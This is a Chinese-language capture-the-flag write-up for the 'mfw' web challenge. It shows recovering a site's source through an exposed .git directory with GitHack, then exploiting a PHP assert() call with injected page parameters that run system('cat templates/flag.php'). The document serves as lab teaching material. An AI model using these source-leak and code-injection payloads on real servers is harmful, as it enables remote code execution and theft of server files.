攻防世界26-mfw-CTFWeb
攻防世界26-mfw-CTFWeb
本文参考:
WEB安全-常见源码泄露 | wh1te (lddp.github.io)
首先瞎点发现,可能存在git源码泄露问题,尝试.git访问,源码中也有按时page=flag,但访问无果
[My PHP Website](http://xx:xxx/.git)
下载工具githack,可以把整个.git 备份的文件下载下
在目录下打开cmd python GitHack.py http://61.147.171.105:64160/.git/
下载源码,审计源码(templates下的flag文件的flag被注释了)
<?php
if (isset($_GET['page'])){
$page = $_GET['page'];
}else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
assert函数:
assert ( mixed $assertion [, string $description ] ) : bool
assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动
or
操作符:如果assert(abc)
结果为false
,PHP 会继续执行or
右侧的de
。
比如输入的包含..,那就是flase==false,就是true,不执行后面的代码
代码中过滤了..
看看assert上能不能操作
尝试一下
?page=aa') or phpinfo();//
也就是
assert("strpos('templates/aa') or phpinfo();//.php', '..') === false")
我们从源码得知,肯定没有aa这个文件,因此它会执行or函数后面的phpinfo,再把//后面的.php注释掉
http://61.147.171.105:64160/?page=aa') or system('cat templates/flag.php');//
可以执行,看源码
payload: ?page=').system("cat templates/flag.php");//
这样好像也行,时链式执行
- 感谢你赐予我前进的力量
赞赏者名单
因为你们的支持让我意识到写文章的价值🙏
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 Matriy
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果